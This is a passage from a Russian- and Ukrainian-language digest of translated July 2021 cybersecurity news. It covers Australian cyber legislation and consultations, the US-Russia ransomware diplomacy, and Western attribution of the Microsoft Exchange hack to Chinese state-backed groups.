«Все эти отношения и процессы налажены, и одна из вещей, которая поражает нас в законодательстве, заключается в том, что оно сосредоточено на проблеме нежелания и пытается ее решить. В то время как я подозреваю, что... подавляющее большинство людей, которые были вовлечены в этот процесс, на самом деле, желающие».

В ответ сенатор Патерсон указал на крупную компанию, которая отказалась от помощи ASD.

«К сожалению, мы должны принять законы... для этих наихудших сценариев, и мы уже знаем, по крайней мере, об одном случае, когда значительная организация отказывается сотрудничать, когда они должны были иметь в серьезном инциденте кибербезопасности», - сказал он.

«И поэтому, к сожалению, Парламент не может игнорировать это - мы должны сбалансировать влияние, которое оно оказывает на тех из вас, у кого действительно есть лучшая практика».

Синклер сказала, что правительству следует проявлять осторожность при поиске решения неправильной проблемы, но она ценит проблему, «когда кто-то обращается к юристам, а не к экспертам по кибербезопасности».

«Тем не менее, предлагаемые полномочия очень значительны и требуют соразмерного использования и тщательной проверки». ***(Asha Barbaschow. Tech giants say government cyber assistance would simply cause more problems // ZDNet (https://www.zdnet.com/article/tech-giants-say-government-cyber-assistance-would-simply-cause-more-problems/). 08.07.2021).***

***

«В августе прошлого года правительство Австралии опубликовало Австралийскую стратегию кибербезопасности 2020, которая пришла на смену Стратегии кибербезопасности 2016 года.

Стратегия 2020 признает растущую глобальную зависимость от технологий и соответствующую потребность в улучшении осведомленности, стратегий и инфраструктуры кибербезопасности. Он обещал инвестировать 1,67 миллиарда долларов в течение 10 лет в создание более безопасного онлайн-мира.

Один из ключевых компонентов Стратегии 2020 нацелен на австралийский бизнес. 13 июля 2021 года Министерство внутренних дел опубликовало дискуссионный документ под названием «Усиление правил и стимулов кибербезопасности Австралии (консультации)», в котором описывается ряд нормативных предложений, которые потребуют (а в некоторых случаях и будут стимулировать) австралийские предприятия к инвестированию в кибербезопасность.

Консультации определяют три основных направления возможной реформы. Эти:

Установление четких минимальных требований к бизнесу в отношении ответственности за управление киберрисками;

Повышение прозрачности для предприятий и потребителей рисков безопасности, связанных с конкретными технологиями; и

Защита прав потребителей путем установления четких средств правовой защиты потребителей от инцидентов кибербезопасности

Основные нормативные предложения, рассмотренные в консультативном документе, кратко излагаются ниже:

1. Стандарты управления

Многие крупные предприятия осознают, что им необходимо повысить готовность к рискам и инфраструктуру кибербезопасности. Инциденты кибербезопасности, затрагивающие более крупные предприятия, могут иметь серьезные последствия для национального экономического развития, устойчивости и безопасности. В настоящее время владельцы критически важной инфраструктуры, подпадающие под действие Закона о безопасности критической инфраструктуры 2018 года, и финансовые учреждения, подпадающие под действие пруденциального стандарта APRA CPS 234, соответственно, несут обязательства по кибербезопасности.

Однако в Консультации предлагается, чтобы дополнительные стандарты управления кибербезопасностью применялись к более широкому кругу предприятий. Эти стандарты могут быть добровольными или обязательными, с учетом того, что обязательные стандарты могут быть дорогостоящими и обременительными, особенно в постпандемической экономической среде. Отзывы заинтересованных сторон, вероятно, будут способствовать окончательному подходу.

2. Минимальные стандарты личной информации

Многим австралийским предприятиям угрожают несложные атаки кибербезопасности, потому что, вообще говоря, они не реализовали базовые меры предосторожности в отношении кибербезопасности. Этого можно избежать с помощью простых процессов и элементов управления, таких как шифрование данных, надежные пароли, многофакторная аутентификация и своевременное применение критических исправлений. Консультации рассматривают вопрос о том, может ли технический стандарт ускорить принятие этих мер предосторожности.

Несмотря на это, в рамках Консультации рассматривается вопрос о том, может ли технический стандарт или «код» в соответствии с Законом о конфиденциальности стимулировать внедрение улучшенных методов кибербезопасности. Это может быть обязательным, или соблюдение может быть связано с нормативными стимулами. Консультации предполагают, что любой такой стандарт или кодекс:

быть ориентированными на конкретные виды технологий, секторов или видов данных

сосредоточиться на эффективных и недорогих средствах контроля кибербезопасности

указать только минимальные требования, аналогично Операционной структуре поставщиков цифровых услуг Налогового управления Австралии

Однако любой стандарт или код, принятый в соответствии с Законом о конфиденциальности, будет ограничен в своем применении «личной информацией» (хотя на практике улучшения кибербезопасности могут «просочиться» в другие типы данных) и будут применяться только к организациям, которые подпадают под действие Закона о конфиденциальности (как правило, организации с годовым оборотом более 3 миллионов долларов США). Консультации необходимы для получения отзывов о мнениях заинтересованных сторон и возможных препятствиях для принятия этого предложения.

3. Стандарты и требования к маркировке интеллектуальных устройств.

«Умные устройства» (или устройства IoT) - это продукты, которые подключаются к Интернету. Консультации признают, что, поскольку разработка и распространение интеллектуальных устройств опережает внедрение передовых методов кибербезопасности, кибератаки нацелены на известные пробелы для использования частной и ценной информации, хранящейся в Интернете. Это предполагает, что это может быть частично объяснено рыночными силами, которые предпочитают быстрые инновации и новые возможности интеллектуальных устройств конфиденциальности и безопасности. (Мы обсуждали

вопросы, касающиеся Интернета вещей и операционных технологий, в нашем недавнем отчете «Перспективы киберрисков на 2021 год»).

Консультации необходимы для получения отзывов об обязательном стандарте продукции для интеллектуальных устройств, который содержит, среди прочего, обязательные базовые требования кибербезопасности, такие как указанные в ETSI EN 303 645. Реализация такого стандарта, вероятно, потребует принятия нового законодательства.

Кроме того, в рамках Консультации запрашиваются отзывы о мнениях заинтересованных сторон и возможных препятствиях для принятия схемы маркировки кибербезопасности для интеллектуальных устройств, включая добровольное предложение «звездного рейтинга» кибербезопасности и обязательную этикетку с датой истечения срока действия кибербезопасности.

4. Политика ответственного раскрытия информации

Согласно консультации:

«Ответственное раскрытие уязвимостей - это процесс, при котором исследователи безопасности находят уязвимости и сообщают об уязвимостях разработчикам программного обеспечения, предприятиям или согласованным третьим сторонам, включая правительство».

Ответственное раскрытие информации предназначено для того, чтобы владельцы программного обеспечения могли разрабатывать системы исправлений или программное обеспечение до того, как уязвимость будет обнаружена и использована в кибератаке. Правительство Австралии уже поощряет раскрытие информации Австралийскому центру кибербезопасности федеральными агентствами, а также исследователями безопасности, клиентами и общественностью. Однако принятие политики ответственного раскрытия информации австралийскими предприятиями остается на низком уровне.

Консультации необходимы для получения отзывов заинтересованных сторон о добровольных и нормативных предложениях по повышению ответственного раскрытия информации. Добровольные механизмы могут включать руководства или наборы инструментов, тогда как регулирующий подход может принимать форму обязательного технического стандарта. Результаты консультации, вероятно, повлияют на окончательный подход.

5. Малый бизнес "Проверки здоровья"

У малых предприятий гораздо меньше шансов, чем у крупных, иметь процессы управления рисками или использовать специальные группы по кибербезопасности. Область, в которой в ходе консультации было установлено, что правительство может оказать дополнительную поддержку в области кибербезопасности малым предприятиям, - это управление рисками в цепочке поставок.

Риски цепочки поставок возникают из-за того, что объекты подключены к ИТ-системам других организаций или предоставляют услуги другим организациям. Это означает, что нарушение работы других организаций может прямо или косвенно повлиять на подключенные объекты. Консультации собираются получить отзывы о программе добровольной проверки кибербезопасности, которая будет осуществляться правительством за небольшую плату или бесплатно. Он признает,

что успех, вероятно, будет зависеть от силы стимулов для участия малых предприятий, и ищет отзывы о том, что было бы уместным в этом отношении.

6. Средства правовой защиты для потребителей.

Учитывая, что у потребителей есть ограниченные правовые возможности для получения средств правовой защиты или компенсации за инциденты кибербезопасности, в Консультации описываются запланированные реформы Закона о защите прав потребителей Австралии, проводимые Федеральным казначейством, а также предлагаемые реформы Закона о конфиденциальности, администрируемые Федеральным казначейством. Генеральная прокуратура. Несмотря на это, Консультации необходимы для получения отзывов о том, как можно усилить регулирование, чтобы лучше защитить потребителей от угроз кибербезопасности, и о том, требуются ли дополнительные действия.

Министерство внутренних дел принимает материалы для обсуждения до 23:59 пятницы, 27 августа 2021 года, через их форму для отправки и проводит ряд консультационных мероприятий для каждого из штатов и территорий. Более подробная информация о них доступна на веб-сайте Департамента». ***(Helaena Short, Seigfried Clarke. Cyber Security reforms | 6 key proposals // Minter Ellison (https://www.minterellison.com/articles/cyber-security-reforms-6-key-proposals). 21.07.2021).***

***

«Министерство внутренних дел потребовало ускорить принятие законопроекта о критической инфраструктуре страны, заявив, что отраслевые правила могут быть отменены после королевского согласия.

Среди прочего, законопроект о внесении поправок в законодательство о безопасности (критическая инфраструктура) 2020 позволит правительству оказывать «помощь» организациям в ответ на серьезные кибератаки на австралийские системы. Сюда входит предложение об установке программного обеспечения, которое, по утверждению Министерства внутренних дел, поможет поставщикам справиться с угрозами.

Это также ввело бы позитивное обязательство безопасности (PSO) для критически важных объектов инфраструктуры, поддерживаемое отраслевыми требованиями и обязательными требованиями к отчетности.

Отраслевые правила PSO еще не написаны, но министр внутренних дел Майк Пецзулло сказал, что они могут быть приняты после того, как законопроект станет законом. Он призвал сначала принять закон, заявив, что срочно необходимы полномочия по оказанию помощи, чтобы позволить Австралийскому управлению сигналов (ASD) действовать на законных основаниях и помогать организациям, пострадавшим от кибератаки.

«Это [являются] мерами, которые, честно говоря, я бы предпочел включить в свод законов сегодня вечером», - сказал Пецзулло в четверг Объединенному парламентскому комитету по разведке и безопасности (PJCIS).

«Меры государственной помощи - это те, которые... определенно не дают мне уснуть по ночам, неспособность - со всеми силами и возможностями, которые ASD, а также досягаемость, которую они имеют в нашем военно-информационном

боевом потенциале, не могут быть по закону быть развернутыми в наших сетях прямо сейчас, когда мы говорим», - это насущная необходимость.

«Я призываю этот комитет четко и прямо рассмотреть вопрос о способности главного информационного агентства Австралии, Австралийского управления сигналов, быть в состоянии в чрезвычайной ситуации оказать более эффективное реагирование на инциденты, чем это могла бы сделать любая компания».

Сенаторы выразили обеспокоенность тем, что полномочия определять правила будут предоставлены министру, а не парламенту. Пецзулло сказал, что каждый закон парламента назначает лицо, принимающее решения, и в данном случае это был министр внутренних дел.

Он утверждал, что министр должен принимать решение относительно пороговых значений и определений, изложенных в законодательстве, и заявил, что это будет изнурительный процесс, если каждое правило должно быть возвращено в парламент.

«Пришло ли время получить голоса в парламенте… в том случае, когда, возможно, обязательство должно быть перенесено быстро?» он спросил.

Опровергая предположение о том, что законопроект был «недоделанным», Пецзулло также отметил, что правила формировались совместно разработанным способом.

Консультации по правилам уже ведутся, и ведомство продвигается вперед, как будто закон был принят.

Пецзулло сказал, что правила для каждого назначенного сектора вряд ли будут согласованы одновременно…

«Мы находимся в своего рода круговом парадоксе, пока не поймем, какими будут наши юридические обязательства», - сказал он. «И небезосновательно, что это большие компании, у которых есть советы директоров, у них есть обязанности в соответствии с корпоративными и другими законами... так что мы можем приходить на собрания и мы можем сказать: 'вот проект правила, мы хотели бы получить ваши комментарии 'и обычно отслеживаемые изменения исходят не от технических специалистов, а от юристов.

«Это совершенно понятно… но я говорю, что до тех пор, пока у вас есть спираль «мы не совсем уверены», а правительство говорит «да, но нам бы хотелось получить ваше техническое мнение», возможно, правила никогда не будут удовлетворительными, потому что в какой-то момент вы должны сказать: «ручки вниз, экзамен окончен».

Однако без самого законопроекта процессы совместной разработки не были бы законодательным направлением.

Принимая это во внимание, Пецзулло утверждал, что неспособность департамента ответить на конкретные вопросы из определенного сектора не отменяет необходимости принятия законопроекта или установления правила.

Многие податели PJCIS опасаются, что закон будет дублировать существующие законодательные направления, такие как телекоммуникации, здравоохранение и банковское дело.

«Министерство внутренних дел является регулирующим органом в соответствии с Законом о телекоммуникациях, схемы TSSR, на самом деле, это у

меня на ручке… Я оказался этим офицером, и я могу вам сказать, TSSR не подходит для этой цели, я могу абсолютно уверяю вас, потому что мы являемся регулирующим органом», - сказал он.

«Если кто-то может заверить меня, что тот, кто регулирует эти фармацевтические соглашения, имеет доступ к совершенно секретной информации о кодовых словах, имеет глубокое понимание среды угроз и знает, какие защитные возможности могут быть дополнительно усилены с помощью ASD, тогда я мог бы приехать с другой точки зрения».

Он сказал, что не посоветует, чтобы основное законодательство фиксировало уровень специфики, который требовался бы в правилах для каждого сектора, - не потому, что Министерство внутренних дел хотело придумать их по мере продвижения, и не потому, что оно не понимает каждый сектор.

«У нас есть сильно продвинутая точка зрения, которую мы с уважением относим к этому комитету относительно относительного баланса, который должен быть достигнут в отношении того, что находится в основном законодательстве, и того, что должно быть доступно в процессе нормотворчества», - повторил он.

Такие компании, как Amazon Web Services, Microsoft, Google и Atlassian, все взвесили надвигающийся законопроект, причем последние две компании заявили PJCIS в прошлом месяце, что им не нужна помощь со стороны правительства Австралии и что установка программного обеспечения подойдет. больше вреда, чем пользы.

«Зрелость и изощренность компаний, от которых мы слышали, мой вид немедленного ответа: ну, я надеюсь, что нет. Мы надеемся, что это именно то, на что мы надеемся, что их позиция такова, что они не нуждаются в нас, чтобы помогать им защищать свои сети, "Генеральный директор ASD Рэйчел Ноубл сообщила PJCIS.

«Наш предпочтительный опыт заключается в том, что мы будем устанавливать только программное обеспечение, что в настоящее время происходит с организациями, которые работают с нами совместно, когда эта организация не имеет возможности предоставить техническую телеметрию или системную информацию, чтобы помочь им в инциденте. отклик.

«Идея того, что ASD будет бегать и волей-неволей ставить программное обеспечение, является чем-то вроде карикатуры. Мы предпочитаем, чтобы они могли предоставить это нам без необходимости, и во многих случаях это абсолютно так.»

Пецзулло сказал, что в первую очередь правительство предпочитает работать совместно и в партнерстве с организацией.

«Однако риски для национальных интересов Австралии, по мнению правительства, слишком велики, чтобы не иметь четких, установленных рамок до инцидента, чтобы действовать в качестве крайней меры в чрезвычайной ситуации в стране, если организация не желает или не в состоянии сделать то, что необходимо», - сказал он». ***(Asha Barbaschow. Home Affairs asks for a rush on Critical Infrastructure Bill to allow ASD to act lawfully // ZDNet (https://www.zdnet.com/article/home-affairs-asks-for-a-rush-on-critical-infrastructure-bill-to-allow-asd-to-act-lawfully/). 29.07.2021).***

***

Інші країни

«Премьер-министр Израиля Нафтали Беннетт призвал мировую общественность создать глобальную платформу для защиты от кибератак. По его мнению, именно глобальный щит станет лучшей защитой государств, их граждан и различных ведомств от различных киберугроз.

На конференции в Тель-Авиве, посвящённой вопросам цифровой безопасности, премьер-министр Израиля Нафтали Беннет (Naftali Bennett), который и сам прежде работал в частной компании, специализирующейся на кибербезопасности, предложил совместными усилиями нескольких государств построить глобальный киберщит. Эта мера, по его мнению, обеспечит надёжную защиту от действий хакеров.

«Всё находится под угрозой: наша вода, наше электричество, наша еда, наши машины. Почему? Потому, что сделать это легко», — считает премьер-министр.

«Если вы попытаетесь сражаться в одиночку, вы проиграете, — сказал он, назвав киберугрозы одной из главных угроз национальной безопасности Израиля. — Если вы будете сражаться вместе, вы победите». ***(Премьер-министр Израиля выступил с предложением создать международную платформу для защиты от кибер-атак // SecurityLab.ru (https://www.securitylab.ru/news/522585.php). 22.07.2021).***

***

Кібервійни та протидія зовнішній кібернетичній агресії

«Президент Байден правильно говорил о противодействии кибератакам, исходящим из России. В ответ на массовую атаку программ-вымогателей, которая, вероятно, скомпрометировала тысячи американских компаний и частных лиц, Байден выступил 9 июля с заявлением, в котором пообещал «предпринять все необходимые действия для защиты своих сотрудников и своей критически важной инфраструктуры». Это утверждение прозвучало вскоре после того, как официальные лица США и Великобритании раскрыли предполагаемую попытку российских вооруженных сил взломать пароли государственных служащих США на конфиденциальных должностях. Но 29 июня, незадолго до этих двух инцидентов, администрация Байдена предприняла действия, которые послали радикально иной сигнал - заявив о своей поддержке усилий ООН по разработке международных «правил поведения» для киберпространства.

Взятые вместе, эти истории рассказывают вам все, что вам нужно знать о текущем состоянии дел в киберпространстве: Соединенные Штаты заявляют о своем желании противостоять российским хакерам, даже если они позволяют

Москве формировать международные нормы для поддержки своих интересов. Такое положение дел не может продолжаться.

У России есть склонность использовать Организацию Объединенных Наций для достижения своих зловещих целей. В течение нескольких месяцев кремлевские чиновники угрожали использовать свое право вето Совета Безопасности ООН для ограничения поставок гуманитарной помощи в Сирию - часть продолжающихся усилий президента Владимира Путина по укреплению союзного режима Башара Асада. (На прошлой неделе Москва неохотно согласилась разрешить один пункт пересечения границы для поставок гуманитарной помощи, а не четыре первоначально предусмотренных.) Россия также неоднократно блокировала усилия ООН по осуждению применения химического оружия и поддерживаемого режимом насилия против мирного населения в Сирии. Он использовал свое членство в Совете ООН по правам человека, чтобы прикрыть свои многочисленные нарушения прав человека внутри страны.

Почему Соединенным Штатам следует ожидать, что Россия - с ее авторитарным контролем над своим внутренним Интернетом - будет действовать иначе, когда дело касается киберпространства? По всей вероятности, Россия установит ревизионистские правила, которые укрепят авторитаризм, опираясь на склонность своих конкурентов к дешевым разговорам, а не к решительным действиям.

Кремль имеет давнюю традицию сдерживания американских усилий по достижению продуктивных результатов в Организации Объединенных Наций. В 2018 году, после первоначальной остановки переговоров ООН по политике киберугроз, Россия разделила усилия ООН, создав открытую рабочую группу, и с тех пор использовала эту группу для обеспечения того, чтобы ее предпочтительные позиции по киберпроблемам были приняты более широким кругом Соединенных Штатов. Наций. Хотя и Соединенные Штаты, и Россия выдвинули две отдельные резолюции по регулированию киберпреступности, Россия перехитрила Соединенные Штаты, получив одобрение ООН на разработку глобального договора о борьбе с киберпреступностью.

Стратегическое сотрудничество России с Китаем в киберпространстве также не сулит ничего хорошего интересам США. В 2015 году между двумя странами было подписано соглашение «о сотрудничестве в обеспечении международной информационной безопасности».

Россия предложила ООН резолюцию о киберпреступности, которая преследует замечательную цель - бороться с использованием информационных и коммуникационных технологий в преступных целях. Тем не менее, нет оснований сомневаться в том, что на практике Москва будет использовать эти положения для цензуры своего внутреннего Интернета и свободы выражения мнений в социальных сетях. В российском проекте договора воплощен так называемый принцип цифрового «суверенитета», который Москва и Пекин продвигают в течение многих лет. Ранее в этом году Россия объединилась с Китаем в попытке захвата Международного союза электросвязи ООН с целью дальнейшего установления цифрового суверенитета в международной системе.

Россия понимает, насколько важны ее западные партнеры в диалоге, поэтому она использует Организацию Объединенных Наций для ведения длительных, отвлекающих и бесплодных переговоров. В то время как западные лидеры думают, что они продвигаются к Кремлю, садясь и разговаривая, Россия неуклонно продолжает преследовать свои собственные цели. Классический пример: в июне министр иностранных дел России Сергей Лавров опубликовал статью, в которой обещал сотрудничать с Соединенными Штатами в киберпространстве, но большую часть заявления он посвятил осуждению западного либерализма, критике основанного на правилах мирового порядка, подрыву лидерства США и оправданию злонамеренных действий Китая. виды деятельности.

Соединенным Штатам необходимо радикально изменить свой подход к России и кибербезопасности. Хотя природа киберпространства означает, что необходимо некоторое ограниченное международное сотрудничество, Вашингтону следует прекратить действовать так, как будто договоры ООН являются решением. Учитывая, что Россия и другие авторитарные государства обязательно будут использовать эти форумы для достижения своих собственных целей, Соединенные Штаты должны реалистично оценивать намерения России и роль международных соглашений в борьбе с киберугрозами. Более того, Соединенным Штатам следует приложить все усилия, чтобы сплотить единомышленники-демократии для борьбы с авторитарным злоупотреблением механизмами ООН.

Прежде всего Соединенные Штаты должны извлечь уроки из истории. Апокалипсис холодной войны предотвратила не Организация Объединенных Наций, а успешное ядерное сдерживание. Россия, Китай и негосударственные субъекты - все они регулярно нарушают международное право - не будут соблюдать какие-либо разумные договорные системы; вместо этого они воспользуются им, чтобы связать руки своим соперникам. Но Соединенные Штаты могут помешать им начать кибератаки, энергично используя новые наступательные и защитные кибер-возможности.

Влияние России на киберправила в Организации Объединенных Наций опасно, и администрация Байдена не должна позволять лисе охранять цифровую курятник - не в последнюю очередь после двух серьезных взломов. Не заблуждайтесь: сдерживание, а не многосторонность, определит киберперспективы Америки в отношениях с Россией». ***(Ivana Stradner. Opinion: Russian hackers are sowing havoc. So why are we letting Moscow write the U.N.'s rules on cyberspace? // Washington Post (https://www.washingtonpost.com/opinions/2021/07/13/biden-letting-moscow-use-un-to-write-new-cyber-rules/). 13.07.2021).***

***

«Президент Байден попросил президента России Путина во время сегодняшнего телефонного звонка остановить группы программ-вымогателей, действующих в пределах России, за продолжающейся волной атак, поражающих Соединенные Штаты и другие страны по всему миру.

«Президент Байден подчеркнул необходимость того, чтобы Россия приняла меры по пресечению деятельности групп программ-вымогателей, действующих в России, и подчеркнул, что он привержен дальнейшему взаимодействию с более

широкой угрозой, исходящей от программ-вымогателей», - говорится в заявлении Белого дома.

Байден также повторил, что США предпримут «любые необходимые действия», необходимые для защиты своего населения и критически важной инфраструктуры от этих атак.

«Я очень ясно дал ему понять, что Соединенные Штаты ожидают, что операция с программным вымогателем начнется с его территории, даже если она не спонсируется государством, мы ожидаем, что они будут действовать, если мы дадим им достаточно информации, чтобы действовать в отношении того, кто это», Сказал Байден после подписания указа в Белом доме.

«А во-вторых, мы создали средства связи на регулярной основе, чтобы иметь возможность общаться друг с другом, когда каждый из нас думает, что что-то происходит в другой стране, что влияет на его страну».

Телефонный звонок между двумя главами государств произошел после крупномасштабной атаки вымогателя REvil, поразившей десятки клиентов Kaseya и до 1500 других дочерних предприятий.

США нацелены на банды вымогателей из России

Пресс-секретарь Белого дома Джен Псаки во вторник во время брифинга по вопросам политики администрации Байдена добавила, что США будут принимать меры против групп вымогателей, действующих в России, если «российское правительство не сможет или не захочет».

Заместитель советника по национальной безопасности Энн Нойбергер призвала мэров США в среду немедленно провести встречу с главами государственных агентств, чтобы оценить их позицию в области кибербезопасности.

В начале июня главный советник Белого дома по кибербезопасности также призвал американские компании серьезно относиться к программам-вымогателям после атак Colonial Pipeline и JBS.

JBS, крупнейший в мире производитель говядины, заплатил выкуп в размере 11 миллионов долларов после того, как банда REvil первоначально потребовала 22,5 миллиона долларов, в то время как Colonial Pipeline заплатила выкуп в 4,4 миллиона долларов группе программ-вымогателей DarkSide (позже Министерство юстиции конфисковало криптовалютный кошелек DarkSide, вернув большую часть

Лидеры G7 также попросили Россию срочно пресечь базирующиеся в России банды вымогателей после, казалось бы, бесконечного потока атак, направленных на организации из критических секторов по всему миру, включая правительственные учреждения США». ***(Sergiu Gatlan. Biden asks Putin to crack down on Russian-based ransomware gangs // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/biden-asks-putin-to-crack-down-on-russian-based-ransomware-gangs/). 10.07.2021).***

***

«Країни, які дають прихисток кіберзлочинцям, повинні вжити заходів. Якщо вони цього не зроблять, це зробимо ми», - такий принцип у відносинах з Росією у кіберсфері озвучив Блінкен.

«Основоположні права людини мають залишатись в центрі майбутніх інновацій», - заявив держсекретар США Ентоні Блінкен у своїй промові на Світовому саміті нових технологій у вівторок. Він застеріг від «техноавторитаризму» Китаю та Росії.

Головний дипломат США закликав до колективної міжнародної відповіді на кіберзагрози і підкреслив прогрес у цій сфері. Він наголосив на згоді НАТО, підтвердженій на саміті в червні, стосовно того, що кібернапад може стати основою для застосування 5 Статті Альянсу з колективної безпеки: «напад на одного є нападом на всіх».

Блінкен також наголосив на міжнародній підтримці, яку США отримали у реакції на кібернапад на SolarWinds - 22 країни а також ЄС і НАТО швидко підтримали висновок США про причетність Росії до цієї атаки.

«Країни, які дають прихисток кіберзлочинцям повинні вжити заходів. Якщо вони цього не зроблять, це зробимо ми», - такий принцип у відносинах з Росією у кіберсфері озвучив Блінкен.

Питання кібернападів отримало особливу увагу у відносинах США та Росії зокрема, після повідомлень про кібернапад із використанням програми-шантажиста, проведений проти амерканського розробника програмного забезпечення Kaseya на початку липня. Напад пов‘язали з базованою у Росії групою REvil. Сайти компанії REvil, з яких велись переговори щодо викупу за напад, вийшли з ладу у вівторок, повідомляють ЗМІ.

Загалом, у своїй промові Блінкен озвучив шість принципів, якими американська дипломатія керуватиметься в кіберсфері.

1. Зменшення ризиків для національної безпеки з боку зловмисної кібердіяльності та нових технологій. В цьому контексті американський дипломат наголосив на важливості міжнародної співпраці задля встановлення стандартів, «що діють не лише у військовий, але і у мирний час, бо перед нами постали кіберпорушення поза контекстом війни».

2. Лідерство в конкуренції стратегічних технологій з Китаєм а також захист технологій, зокрема, каналів постачання напівпровідників та інших елементів.

3. Посилення співпраці з приватним сектором задля забезпечення відкритого, надійного та безпечного інтернету.

4. Створення стандартів в сфері нових технологій. Тут Блінкен наголосив на роботі, що ведеться в цій сфері в рамках Міжнародного союзу електрозв‘язку, зокрема, стосовно застосування технології розпізнавання обличчя.

5. Подолання дезінформації, запобігання зловживанням спостережних технологій, захист свободи інтернету а також співпраця з іншими країнами в сфері захисту приватних даних, модеруванні контенту, цифрової торгівлі - елементи політики, покликані забезпечити роботу нових технологій на захист демократії.

6. Просування міжнародної співпраці». ***(5 статтю НАТО може бути застосовано через кібернапад - в Держдепі озвучили п‘ять засад політики в кіберсфері // Голос Америки (https://ukrainian.voanews.com/a/Kibernapady-polityka/5965180.html). 14.07.2021).***

***

«Правительства государств возложили на КНР ответственность за масштабный взлом серверов компании Microsoft в марте прошлого года

США, Великобритания, Евросоюз и страны НАТО обвинили министерство государственной безопасности Китая в организации масштабных хакерских атак. В администрации США утверждают, что «под крылом» министерства существует целая сеть киберпреступников, которые совершали атаки, в том числе, и с целью собственной выгоды.

В период с октября 2018 по сентябрь 2020 хакеры, связанные с китайским министерством, были замечены в использовании, так называемых, «вирусов-вымогателей», заражение компьютеров для добычи криптовалют, а также других подобных операциях. В связи с этими действиями Министерство юстиции США выдвинуло обвинения против четырех граждан КНР.

«Материалы Министерства юстиции описывают, как хакеры, связанные с министерством госбезопасности КНР, стремились украсть данные исследований вакцины от вируса Эбола. Они демонстрируют, что кража интеллектуальной собственности, конфиденциальной информации и коммерческих тайн со стороны КНР распространяется и на критически важную информацию в сфере общественного здравоохранения», – говорится в официальном заявлении Белого дома.

От более серьезных мер, таких как санкции, в Вашингтоне пока воздержались. Впрочем, в администрации Белого дома не исключили возможности дальнейших шагов для привлечения Пекина к ответственности, как со стороны США, так и европейских партнеров.

В заявлении Белого дома также отмечается, что с высокой степенью вероятности американское правительство пришло к выводу, что хакеры, связанные с министерством госбезопасности КНР осуществили массивную атаку на серверы Microsoft Exchange в марте. Тогда пострадали десятки тысяч организаций по всему миру.

Сегодня же сразу несколько федеральных ведомств США, включая Агентство национальной безопасности и ФБР, опубликовали новые рекомендации в сфере кибер-безопасности. Документ описывает 50 основных тактик, используемых китайскими хакерами, и, как надеются в американском правительстве, поможет защитить уязвимые организации и объекты». ***(Дарья Диегуц. США, Евросоюз и НАТО обвинили Китай в организации кибератак // Голос Америки (https://www.golosameriki.com/a/us-eu-nato-have-accused-china/5971603.html). 19.07.2021).***

***

«В понедельник администрация Байдена обвинила Китай в кибератаке на программное обеспечение почтового сервера Microsoft Exchange в начале этого года. В нем говорится, что хакеры, связанные с Министерством государственной безопасности Китая, использовали уязвимости, чтобы «поставить под угрозу десятки тысяч компьютеров и сетей по всему миру».

В результате взлома программного обеспечения Microsoft были украдены электронные письма у огромного количества организаций, включая исследователей

инфекционных заболеваний, юридических фирм, подрядчиков защиты, высших учебных заведений и неправительственных групп.

Государственный секретарь Энтони Блинкен заявил, что Министерство государственной безопасности собрало «экосистему преступных хакеров по контракту», которые работают от его имени и ради собственной выгоды.

«Эти контрактные хакеры обходятся правительствам и предприятиям в миллиарды долларов в виде украденной интеллектуальной собственности, выплат выкупа и усилий по смягчению последствий кибербезопасности, и все это в то время как у MSS они были в своей платежной ведомости», - сказал он.

США объединились с ЕС, Великобританией, Австралией, Канадой, Новой Зеландией, Японией и НАТО, чтобы критиковать «злонамеренную кибер-деятельность» Китая.

«Подобные атрибуты помогут международному сообществу привлечь к ответственности тех, кто стоит за неизбирательными атаками», - сказал Том Берт, корпоративный вице-президент Microsoft по безопасности и доверию клиентов, в заявлении, отправленном CNET по электронной почте. «Правительства, участвующие в этой атрибуции, сделали важный и позитивный шаг, который будет способствовать нашей коллективной безопасности. Прозрачность имеет решающее значение, если мы хотим бороться с растущими кибератаками, которые мы наблюдаем по всей планете против отдельных лиц, организаций и наций».

Отдельно Министерство юстиции в понедельник объявило обвинения против четырех граждан Китая, которые предположительно работали с министерством в рамках хакерской кампании, которая проводилась с 2011 по 2018 год. Она была нацелена на компании, университеты и государственные учреждения с целью кражи интеллектуальной собственности и деловой информации с целью выручайте китайские компании.

ФБР, АНБ и Агентство по кибербезопасности и безопасности инфраструктуры также опубликовали методы, используемые хакерами, связанными с правительством Китая». ***(Sean Keane. Biden administration blames China for Microsoft Exchange email hack // CNET, A RED VENTURES COMPANY (https://www.cnet.com/tech/services-and-software/biden-administration-blames-china-for-microsoft-server-hack/?ftag=CAD090e536&bhid=20102274281679224800074149012732&mid=13442234&cid=534816904). 19.07.2021).***

***

«Правительство Великобритании официально возложило вину за кибератаку на Microsoft Exchange Server на Китай.

В понедельник правительство присоединилось к другим, включая саму компанию-жертву, Microsoft, в заявлении о том, что кибератака была делом рук спонсируемых государством китайских хакеров, а именно Hafnium, группы продвинутых постоянных угроз (APT).

США, НАТО и ЕС присоединились к Великобритании, осуждая это нападение.

Министр иностранных дел Доминик Рааб счел нападение «китайских группировок, поддерживаемых государством», как «безрассудную, но знакомую модель поведения».

«Правительство Китая должно положить конец этому систематическому кибер саботажу и может рассчитывать на то, что в противном случае оно будет привлечено к ответственности», - добавил Рааб.

Ранее в этом году была обнаружена подозрительная активность, связанная с четырьмя уязвимостями нулевого дня на локальных серверах Microsoft Exchange.

В марте гигант из Редмонда выпустил аварийные исправления, чтобы уменьшить угрозу для своих клиентов; однако уязвимости - CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 и CVE-2021-27065 - были использованы, скомпрометировав примерно 30 000 организаций только в США.

Европейское банковское управление стало одной из самых громких жертв атаки.

После инцидента вредоносная программа была обнаружена на более чем 2000 машинах, принадлежащих компаниям из Великобритании.

Правительство Великобритании считает, что атака, вероятно, была проведена с целью «крупномасштабного шпионажа», включая кражу информации и интеллектуальной собственности хакерами, спонсируемыми Китайской Народной Республикой (КНР).

Кроме того, официальные лица Великобритании заявляют, что Министерство государственной безопасности Китая поддерживает две другие группы, известные как APT40 (TEMP.Periscope / TEMP.Jumper / Leviathan) и APT31 (Judgment Panda / Zirconium / Red Keres).

По данным Национального центра кибербезопасности (NCSC), APT40 отвечает за нацеливание на морскую промышленность и военно-морских подрядчиков в Соединенных Штатах и Европе, и агентство с большой уверенностью оценивает, что Министерство государственной безопасности Китая поддерживает эту группу, которая «выполняет ключевые требования китайской государственной разведки».

Кроме того, NCSC заявляет, что APT31 отвечает за нацеливание на правительственных и политических деятелей, включая парламент Финляндии, в 2020 году.

